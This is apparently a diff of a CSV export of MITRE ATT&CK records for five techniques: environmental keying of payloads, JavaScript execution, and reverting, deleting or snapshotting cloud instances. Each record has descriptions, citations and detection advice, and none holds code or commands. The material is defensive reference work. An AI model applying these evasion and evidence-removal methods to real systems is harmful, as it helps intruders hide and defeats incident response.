Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents) +Monitor for changes to and suspicious processes modifiying /etc/ssh/sshd_config.",True,"['User', 'Administrator']","['Linux', 'macOS']",1.0,,,,,,, +attack-pattern,attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-06-23T22:28:28.041Z,2021-06-09T18:53:58.159Z,Environmental Keying,"Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents) Values can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs). Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. -Like other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1480/001', external_id='T1480.001'), ExternalReference(source_name='EK Clueless Agents', description='Riordan, J., Schneier, B. (1998, June 18). Environmental Key Generation towards Clueless Agents. Retrieved January 18, 2019.', url='https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf'), ExternalReference(source_name='Kaspersky Gauss Whitepaper', description='Kaspersky Lab. (2012, August). Gauss: Abnormal Distribution. Retrieved January 17, 2019.', url='https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf'), ExternalReference(source_name='Proofpoint Router Malvertising', description='Kafeine. (2016, December 13). Home Routers Under Attack via Malvertising on Windows, Android Devices. Retrieved January 16, 2019.', url='https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices'), ExternalReference(source_name='EK Impeding Malware Analysis', description='Song, C., et al. (2012, August 7). Impeding Automated Malware Analysis with Environment-sensitive Malware. Retrieved January 18, 2019.', url='https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf'), ExternalReference(source_name='Environmental Keyed HTA', description='Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved January 16, 2019.', url='https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/'), ExternalReference(source_name='Ebowla: Genetic Malware', description='Morrow, T., Pitts, J. (2016, October 28). Genetic Malware: Designing Payloads for Specific Targets. Retrieved January 18, 2019.', url='https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf'), ExternalReference(source_name='Demiguise Guardrail Router Logo', description='Warren, R. (2017, August 2). Demiguise: virginkey.js. Retrieved January 17, 2019.', url='https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js')]",attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-03-29 19:56:42.242000+00:00,Environmental Keying,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Nick Carr, FireEye']","['Process: Process Creation', 'Command: Command Execution']","['Anti-virus', 'Host forensic analysis', 'Signature-based detection', 'Static file analysis']",,,,"Detecting the use of environmental keying may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.",,,,,True,,,['User'],"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-06-23 19:12:24.924000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS) +Like other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1480/001', 'external_id': 'T1480.001'}, {'source_name': 'EK Clueless Agents', 'description': 'Riordan, J., Schneier, B. (1998, June 18). Environmental Key Generation towards Clueless Agents. Retrieved January 18, 2019.', 'url': 'https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf'}, {'source_name': 'Kaspersky Gauss Whitepaper', 'description': 'Kaspersky Lab. (2012, August). Gauss: Abnormal Distribution. Retrieved January 17, 2019.', 'url': 'https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf'}, {'source_name': 'Proofpoint Router Malvertising', 'description': 'Kafeine. (2016, December 13). Home Routers Under Attack via Malvertising on Windows, Android Devices. Retrieved January 16, 2019.', 'url': 'https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices'}, {'source_name': 'EK Impeding Malware Analysis', 'description': 'Song, C., et al. (2012, August 7). Impeding Automated Malware Analysis with Environment-sensitive Malware. Retrieved January 18, 2019.', 'url': 'https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf'}, {'source_name': 'Environmental Keyed HTA', 'description': 'Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved January 16, 2019.', 'url': 'https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/'}, {'source_name': 'Ebowla: Genetic Malware', 'description': 'Morrow, T., Pitts, J. (2016, October 28). Genetic Malware: Designing Payloads for Specific Targets. Retrieved January 18, 2019.', 'url': 'https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf'}, {'source_name': 'Demiguise Guardrail Router Logo', 'description': 'Warren, R. (2017, August 2). Demiguise: virginkey.js. Retrieved January 17, 2019.', 'url': 'https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Nick Carr, Mandiant']","['Process: Process Creation', 'Command: Command Execution']","['Anti-virus', 'Host forensic analysis', 'Signature-based detection', 'Static file analysis']","Detecting the use of environmental keying may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.",True,['User'],"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-06-23T19:12:24.924Z,2021-08-16T21:02:05.142Z,JavaScript,"Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS) JScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts) JavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple’s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple’s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple’s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility osascript, they can be compiled into applications or script files via osacompile, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode) -Adversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1059/007', external_id='T1059.007'), ExternalReference(source_name='NodeJS', description='OpenJS Foundation. (n.d.). Node.js. Retrieved June 23, 2020.', url='https://nodejs.org/'), ExternalReference(source_name='JScrip May 2018', description='Microsoft. (2018, May 31). Translating to JScript. Retrieved June 23, 2020.', url='https://docs.microsoft.com/windows/win32/com/translating-to-jscript'), ExternalReference(source_name='Microsoft JScript 2007', description='Microsoft. (2007, August 15). The World of JScript, JavaScript, ECMAScript …. Retrieved June 23, 2020.', url='https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript'), ExternalReference(source_name='Microsoft Windows Scripts', description='Microsoft. (2017, January 18). Windows Script Interfaces. Retrieved June 23, 2020.', url='https://docs.microsoft.com/scripting/winscript/windows-script-interfaces'), ExternalReference(source_name='Apple About Mac Scripting 2016', description='Apple. (2016, June 13). About Mac Scripting. Retrieved April 14, 2021.', url='https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html'), ExternalReference(source_name='SpecterOps JXA 2020', description='Pitt, L. (2020, August 6). Persistent JXA. Retrieved April 14, 2021.', url='https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5'), ExternalReference(source_name='SentinelOne macOS Red Team', description='Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.', url='https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/'), ExternalReference(source_name='Red Canary Silver Sparrow Feb2021', description='Tony Lambert. (2021, February 18). Clipping Silver Sparrow’s wings: Outing macOS malware before it takes flight. Retrieved April 20, 2021.', url='https://redcanary.com/blog/clipping-silver-sparrows-wings/'), ExternalReference(source_name='MDSec macOS JXA and VSCode', description='Dominic Chell. (2021, January 1). macOS Post-Exploitation Shenanigans with VSCode Extensions. Retrieved April 20, 2021.', url='https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/')]",attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')]",2021-04-27 19:21:05.521000+00:00,JavaScript,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Cody Thomas, SpecterOps']","['Command: Command Execution', 'Process: Process Creation', 'Module: Module Load', 'Script: Script Execution']",,,,,"Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source. +Adversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1059/007', 'external_id': 'T1059.007'}, {'source_name': 'NodeJS', 'description': 'OpenJS Foundation. (n.d.). Node.js. Retrieved June 23, 2020.', 'url': 'https://nodejs.org/'}, {'source_name': 'JScrip May 2018', 'description': 'Microsoft. (2018, May 31). Translating to JScript. Retrieved June 23, 2020.', 'url': 'https://docs.microsoft.com/windows/win32/com/translating-to-jscript'}, {'source_name': 'Microsoft JScript 2007', 'description': 'Microsoft. (2007, August 15). The World of JScript, JavaScript, ECMAScript …. Retrieved June 23, 2020.', 'url': 'https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript'}, {'source_name': 'Microsoft Windows Scripts', 'description': 'Microsoft. (2017, January 18). Windows Script Interfaces. Retrieved June 23, 2020.', 'url': 'https://docs.microsoft.com/scripting/winscript/windows-script-interfaces'}, {'source_name': 'Apple About Mac Scripting 2016', 'description': 'Apple. (2016, June 13). About Mac Scripting. Retrieved April 14, 2021.', 'url': 'https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html'}, {'source_name': 'SpecterOps JXA 2020', 'description': 'Pitt, L. (2020, August 6). Persistent JXA. Retrieved April 14, 2021.', 'url': 'https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5'}, {'source_name': 'SentinelOne macOS Red Team', 'description': 'Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.', 'url': 'https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/'}, {'source_name': 'Red Canary Silver Sparrow Feb2021', 'description': 'Tony Lambert. (2021, February 18). Clipping Silver Sparrow’s wings: Outing macOS malware before it takes flight. Retrieved April 20, 2021.', 'url': 'https://redcanary.com/blog/clipping-silver-sparrows-wings/'}, {'source_name': 'MDSec macOS JXA and VSCode', 'description': 'Dominic Chell. (2021, January 1). macOS Post-Exploitation Shenanigans with VSCode Extensions. Retrieved April 20, 2021.', 'url': 'https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Cody Thomas, SpecterOps']","['Command: Command Execution', 'Process: Process Creation', 'Module: Module Load', 'Script: Script Execution']",,"Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source. Monitor for execution of JXA through osascript and usage of OSAScript API that may be related to other suspicious behavior occurring on the system. -Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.",,,,,True,,,"['User', 'Administrator', 'SYSTEM']","['Windows', 'macOS', 'Linux']",,,,2.0 -2020-06-16 18:42:20.734000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs. +Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.",True,"['User', 'Administrator', 'SYSTEM']","['Windows', 'macOS', 'Linux']",2.1,,,,,,, +attack-pattern,attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-06-16T18:42:20.734Z,2021-03-08T10:33:02.128Z,Revert Cloud Instance,"An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs. -Another variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1578/004', external_id='T1578.004'), ExternalReference(source_name='Tech Republic - Restore AWS Snapshots', description='Hardiman, N.. (2012, March 20). Backing up and restoring snapshots on Amazon EC2 machines. Retrieved October 8, 2019.', url='https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/'), ExternalReference(source_name='Google - Restore Cloud Snapshot', description='Google. (2019, October 7). Restoring and deleting persistent disk snapshots. Retrieved October 8, 2019.', url='https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots')]",attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-03-08 10:33:02.128000+00:00,Revert Cloud Instance,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Netskope'],"['Instance: Instance Modification', 'Instance: Instance Start', 'Instance: Instance Stop']",,,,,"Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.",,,,,True,,,['User'],['IaaS'],,,,1.1 -2020-06-16 17:23:06.508000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence. Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable. +Another variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1578/004', 'external_id': 'T1578.004'}, {'source_name': 'Tech Republic - Restore AWS Snapshots', 'description': 'Hardiman, N.. (2012, March 20). Backing up and restoring snapshots on Amazon EC2 machines. Retrieved October 8, 2019.', 'url': 'https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/'}, {'source_name': 'Google - Restore Cloud Snapshot', 'description': 'Google. (2019, October 7). Restoring and deleting persistent disk snapshots. Retrieved October 8, 2019.', 'url': 'https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Netskope'],"['Instance: Instance Modification', 'Instance: Instance Start', 'Instance: Instance Stop']",,"Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.",True,['User'],['IaaS'],1.1,,,,,,, +attack-pattern,attack-pattern--70857657-bd0b-4695-ad3e-b13f92cac1b4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-06-16T17:23:06.508Z,2021-03-08T10:33:02.083Z,Delete Cloud Instance,"An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence. Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable. -An adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and later terminate the instance after achieving their objectives.(Citation: Mandiant M-Trends 2020)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1578/003', external_id='T1578.003'), ExternalReference(source_name='Mandiant M-Trends 2020', description='Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.', url='https://content.fireeye.com/m-trends/rpt-m-trends-2020'), ExternalReference(source_name='AWS CloudTrail Search', description='Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020.', url='https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/'), ExternalReference(source_name='Azure Activity Logs', description='Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020.', url='https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs'), ExternalReference(source_name='Cloud Audit Logs', description='Google. (n.d.). Audit Logs. Retrieved June 1, 2020.', url='https://cloud.google.com/logging/docs/audit#admin-activity')]",attack-pattern--70857657-bd0b-4695-ad3e-b13f92cac1b4,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-03-08 10:33:02.083000+00:00,Delete Cloud Instance,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,['Instance: Instance Deletion'],,,,,"The deletion of a new instance or virtual machine is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, detecting a sequence of events such as the creation of an instance, mounting of a snapshot to that instance, and deletion of that instance by a new user account may indicate suspicious activity. +An adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and later terminate the instance after achieving their objectives.(Citation: Mandiant M-Trends 2020)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1578/003', 'external_id': 'T1578.003'}, {'source_name': 'Mandiant M-Trends 2020', 'description': 'Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.', 'url': 'https://content.fireeye.com/m-trends/rpt-m-trends-2020'}, {'source_name': 'AWS CloudTrail Search', 'description': 'Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020.', 'url': 'https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/'}, {'source_name': 'Azure Activity Logs', 'description': 'Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020.', 'url': 'https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs'}, {'source_name': 'Cloud Audit Logs', 'description': 'Google. (n.d.). Audit Logs. Retrieved June 1, 2020.', 'url': 'https://cloud.google.com/logging/docs/audit#admin-activity'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Instance: Instance Deletion'],,"The deletion of a new instance or virtual machine is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, detecting a sequence of events such as the creation of an instance, mounting of a snapshot to that instance, and deletion of that instance by a new user account may indicate suspicious activity. -In AWS, CloudTrail logs capture the deletion of an instance in the TerminateInstances event, and in Azure the deletion of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances delete to delete a VM.(Citation: Cloud Audit Logs)",,,,,True,,,['User'],['IaaS'],,,,1.1 -2020-06-09 15:33:13.563000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence. +In AWS, CloudTrail logs capture the deletion of an instance in the TerminateInstances event, and in Azure the deletion of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of gcloud compute instances delete to delete a VM.(Citation: Cloud Audit Logs)",True,['User'],['IaaS'],1.1,,,,,,, +attack-pattern,attack-pattern--ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-06-09T15:33:13.563Z,2021-03-08T10:33:02.060Z,Create Snapshot,"An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence. -An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1578/001', external_id='T1578.001'), ExternalReference(source_name='Mandiant M-Trends 2020', description='Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.', url='https://content.fireeye.com/m-trends/rpt-m-trends-2020'), ExternalReference(source_name='AWS Cloud Trail Backup API', description='Amazon. (2020). Logging AWS Backup API Calls with AWS CloudTrail. Retrieved April 27, 2020.', url='https://docs.aws.amazon.com/aws-backup/latest/devguide/logging-using-cloudtrail.html'), ExternalReference(source_name='Azure - Monitor Logs', description='Microsoft. (2019, June 4). Monitor at scale by using Azure Monitor. Retrieved May 1, 2020.', url='https://docs.microsoft.com/en-us/azure/backup/backup-azure-monitoring-use-azuremonitor'), ExternalReference(source_name='Cloud Audit Logs', description='Google. (n.d.). Audit Logs. Retrieved June 1, 2020.', url='https://cloud.google.com/logging/docs/audit#admin-activity'), ExternalReference(source_name='GCP - Creating and Starting a VM', description='Google. (2020, April 23). Creating and Starting a VM instance. Retrieved May 1, 2020.', url='https://cloud.google.com/compute/docs/instances/create-start-instance#api_2')]",attack-pattern--ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-03-08 10:33:02.060000+00:00,Create Snapshot,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Praetorian'],['Snapshot: Snapshot Creation'],,,,,"The creation of a snapshot is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities such as the creation of one or more snapshots and the restoration of these snapshots by a new user account. +An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1578/001', 'external_id': 'T1578.001'}, {'source_name': 'Mandiant M-Trends 2020', 'description': 'Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.', 'url': 'https://content.fireeye.com/m-trends/rpt-m-trends-2020'}, {'source_name': 'AWS Cloud Trail Backup API', 'description': 'Amazon. (2020). Logging AWS Backup API Calls with AWS CloudTrail. Retrieved April 27, 2020.', 'url': 'https://docs.aws.amazon.com/aws-backup/latest/devguide/logging-using-cloudtrail.html'}, {'source_name': 'Azure - Monitor Logs', 'description': 'Microsoft. (2019, June 4). Monitor 